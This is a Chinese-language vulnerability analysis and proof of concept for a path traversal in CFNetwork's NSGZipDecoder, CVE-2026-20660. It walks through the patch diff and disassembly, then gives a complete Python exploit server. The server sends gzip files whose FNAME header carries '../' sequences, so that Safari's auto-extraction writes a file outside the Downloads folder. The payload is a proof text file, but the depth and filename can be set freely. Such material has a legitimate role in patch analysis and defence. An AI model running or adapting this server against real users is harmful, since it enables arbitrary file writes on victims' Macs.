CVE-2026-20660：CFNetwork NSGZipDecoder 路径穿越导致任意文件写入

$ file CFNetwork_26.2.1/CFNetwork
Mach-O 64-bit arm64e (caps: PAC00) dynamically linked shared library

$ otool -tV CFNetwork
section offset for section (__TEXT,__text) is past end of file

BinDiff 地址 = IDA 平坦地址 = 文件偏移（IDA 将二进制文件作为从 0x0 开始的 ROM 加载）
lief 符号地址 = 虚拟地址 (vaddr)
vaddr = __TEXT 段基址 + 文件偏移

import lief

binary = lief.parse('CFNetwork_26.2.1/CFNetwork')
# __TEXT 段：vaddr=0x197cdc000, fileoff=0x0
TEXT_BASE = 0x197cdc000

# BinDiff 地址 0x24C4A4 -> vaddr 0x197F284A4
vaddr = TEXT_BASE + 0x24C4A4
symbol_name = symbols[vaddr]
# -> "-[NSGZipDecoder filenameWithOriginalFilename:]"

file_offset = vaddr - __TEXT_segment.vaddr
# 旧版：0x197F284A4 - 0x197CDC000 = 0x24C4A4
# 新版：0x198099394 - 0x197E4D000 = 0x24C394

objc_msgSend$copy                        @ 0x198088e40   <- 复制文件名
objc_msgSend$length                      @ 0x19808b900   <- 检查长度
objc_msgSend$pathExtension               @ 0x19808c460   <- 获取扩展名
objc_msgSend$lowercaseString             @ 0x19808ba40   <- 统一大小写
objc_msgSend$isEqualToString:            @ 0x19808b560   <- 比较扩展名
objc_msgSend$stringByDeletingPathExtension  @ 0x198091240   <- 去掉 .gz
objc_msgSend$stringByAppendingPathExtension @ 0x198091200   <- 添加替换扩展名

objc_msgSend$length                      @ 0x1981fd3c0
objc_msgSend$pathExtension               @ 0x1981fdf20
objc_msgSend$lowercaseString             @ 0x1981fd500
objc_msgSend$isEqualToString:            @ 0x1981fd020
objc_msgSend$stringByDeletingPathExtension  @ 0x198202d00
objc_msgSend$stringByAppendingPathExtension @ 0x198202cc0
objc_msgSend$lastPathComponent           @ 0x1981fd3a0   <- 新增

; 如果 NSGZipDecoder 有文件名（从 gzip FNAME 头读取）且长度非零：
0x197f284d0: bl  objc_msgSend$length      ; 检查长度
0x197f284d4: cbz x0, ...                  ; length == 0 -> 跳转到 pathExtension 分支
0x197f284d8: mov x0, x20                  ; length != 0 -> 直接返回文件名
0x197f284e4: retab                        ; <- BUG：无路径清理

0x1980993c0: bl  objc_msgSend$length
0x1980993c4: cbnz x0, #0x198099408       ; length != 0 -> 向前跳转
; ...（pathExtension 分支，也到达 0x198099408）
0x198099408: mov x0, x20
0x198099414-0x198099424: epilog
0x198099424: b   objc_msgSend$lastPathComponent  ; <- 尾调用，去除目录组件

+---+---+---+---+---+---+---+---+---+---+
|ID1|ID2|CM |FLG|     MTIME     |XFL|OS |
+---+---+---+---+---+---+---+---+---+---+
 1f  8b  08  08  ...timestamp...  00  ff

FLG 位 3 = FNAME：如果设置，一个以 null 结尾的原始文件名字符串
紧跟在头部第 10 字节之后。

$ ls -la ~/pwn.sh
-rwx------@ 1 user  staff  25 Mar  9 22:32 pwn.sh

#!/usr/bin/env python3
"""
CVE-2026-20660 PoC -- CFNetwork NSGZipDecoder 路径穿越

根因（来自 BinDiff 补丁分析）：
  -[NSGZipDecoder filenameWithOriginalFilename:] 从 gzip 头读取 FNAME 字段。
  旧版本直接返回。新版本调用 [NSString lastPathComponent] 去除目录组件。

攻击向量：
  路径穿越嵌入在 GZIP HEADER（RFC 1952 FNAME）中，
  不是在 Content-Disposition HTTP 头中。

  1. 服务器发送一个带有干净 Content-Disposition 名称的 .gz 文件
  2. Safari 下载 "harmless.gz" 到 ~/Downloads/
  3. Safari 自动解压 .gz（如果 "打开安全文件" 已启用）
  4. NSGZipDecoder 从 gzip 头读取 FNAME："../../evil.txt"
  5. 旧版本使用 "../../evil.txt" -> 文件写入 Downloads 之外
  6. 新版本：lastPathComponent -> "evil.txt" -> 安全

用法：
    python3 server.py [--port PORT] [--depth DEPTH]
"""

import argparse
import gzip
import http.server
import io
import os
import struct
import sys
import time
import urllib.parse
from datetime import datetime


PROOF_TEXT = """\
CVE-2026-20660 -- Proof of Arbitrary File Write
================================================
This file was written by exploiting a path traversal
in the gzip FNAME header field, processed by
-[NSGZipDecoder filenameWithOriginalFilename:]

Timestamp: {timestamp}
FNAME payload: {fname}
"""

def make_gzip_with_fname(content: bytes, fname: str) -> bytes:
    """
    构建一个带有自定义 FNAME（原始文件名）头的 gzip 流。

    RFC 1952 gzip 格式：
      +---+---+---+---+---+---+---+---+---+---+
      |ID1|ID2|CM |FLG|     MTIME     |XFL|OS |
      +---+---+---+---+---+---+---+---+---+---+

    FLG 位 3（FNAME）：如果设置，原始文件名以零字节结尾存在。
    """
    import zlib

    # Gzip 头
    header = bytearray()
    header += b'\x1f\x8b'      # ID1, ID2（魔数）
    header += b'\x08'           # CM = deflate
    header += b'\x08'           # FLG = FNAME 位设置
    header += struct.pack('<I', int(time.time()))  # MTIME
    header += b'\x00'           # XFL
    header += b'\xff'           # OS = unknown

    # FNAME 字段：以 null 结尾的字符串
    header += fname.encode('latin-1') + b'\x00'

    # 压缩数据
    compress = zlib.compressobj(9, zlib.DEFLATED, -zlib.MAX_WBITS)
    deflated = compress.compress(content)
    deflated += compress.flush()

    # 尾部：CRC32 + ISIZE
    crc = zlib.crc32(content) & 0xFFFFFFFF
    isize = len(content) & 0xFFFFFFFF
    trailer = struct.pack('<II', crc, isize)

    return bytes(header) + deflated + trailer


class ExploitHandler(http.server.BaseHTTPRequestHandler):
    traversal_depth = 5
    target_name = "cve-2026-20660-proof.txt"

    def do_GET(self):
        parsed = urllib.parse.urlparse(self.path)
        query = urllib.parse.parse_qs(parsed.query)
        if parsed.path == "/":
            self._serve_landing()
        elif parsed.path == "/download":
            depth = int(query.get("depth", [str(self.traversal_depth)])[0])
            custom_fname = query.get("fname", [None])[0]
            self._serve_exploit(depth, custom_fname)
        else:
            self.send_error(404)

    def _serve_landing(self):
        page = """<!DOCTYPE html>
<html><head><title>CVE-2026-20660 PoC</title></head>
<body>
<h1>CVE-2026-20660 PoC</h1>
<p>NSGZipDecoder FNAME Path Traversal</p>
<a href="/download?depth=2">Trigger (depth=2)</a>
</body></html>""".encode()
        self.send_response(200)
        self.send_header("Content-Type", "text/html; charset=utf-8")
        self.send_header("Content-Length", str(len(page)))
        self.end_headers()
        self.wfile.write(page)

    def _serve_exploit(self, depth: int, custom_fname: str | None = None):
        ts = datetime.now().isoformat()

        if custom_fname:
            fname = custom_fname
        else:
            fname = "../" * depth + self.target_name

        text = PROOF_TEXT.format(timestamp=ts, fname=fname)
        gz_data = make_gzip_with_fname(text.encode('utf-8'), fname)
        clean_name = "report.gz"

        print(f"\n{'='*60}")
        print(f"  Exploit triggered @ {ts}")
        print(f"  Content-Disposition: {clean_name}  (clean)")
        print(f"  Gzip FNAME header:  {fname}  (malicious)")
        print(f"  Payload: {len(gz_data)} bytes")
        print(f"  Client: {self.client_address[0]}")
        print(f"{'='*60}")

        self.send_response(200)
        self.send_header("Content-Type", "application/gzip")
        self.send_header("Content-Disposition", f'attachment; filename="{clean_name}"')
        self.send_header("Content-Length", str(len(gz_data)))
        self.send_header("Cache-Control", "no-store")
        self.end_headers()
        self.wfile.write(gz_data)

    def log_message(self, fmt, *args):
        sys.stderr.write(f"[{datetime.now():%H:%M:%S}] {self.client_address[0]} - {fmt % args}\n")


def main():
    p = argparse.ArgumentParser(description="CVE-2026-20660 PoC Server")
    p.add_argument("--port", "-p", type=int, default=8080)
    p.add_argument("--bind", "-b", default="0.0.0.0")
    p.add_argument("--depth", "-d", type=int, default=5,
                   help="Path traversal depth (../ count)")
    p.add_argument("--name", "-n", default="cve-2026-20660-proof.txt",
                   help="Target filename for proof")
    args = p.parse_args()

    ExploitHandler.traversal_depth = args.depth
    ExploitHandler.target_name = args.name

    srv = http.server.HTTPServer((args.bind, args.port), ExploitHandler)
    print(f"\n  CVE-2026-20660 PoC Server")
    print(f"  http://{args.bind}:{args.port}/")
    print(f"  Default depth: {args.depth}")
    print(f"  Target name: {args.name}")
    print(f"\n  Attack: gzip FNAME header path traversal")
    print(f"  Requires: 'Open safe files after downloading' in Safari\n")

    try:
        srv.serve_forever()
    except KeyboardInterrupt:
        print("\nStopped.")
        srv.server_close()


if __name__ == "__main__":
    main()

cd CVE-2026-20660
python3 exploit/server.py --port 8888

# 在存在漏洞的 Safari (< 26.3) 中打开：
# http://<server-ip>:8888/

ls ~/cve-2026-20660-proof.txt       # depth=2 时
cat ~/cve-2026-20660-proof.txt      # 检查证明内容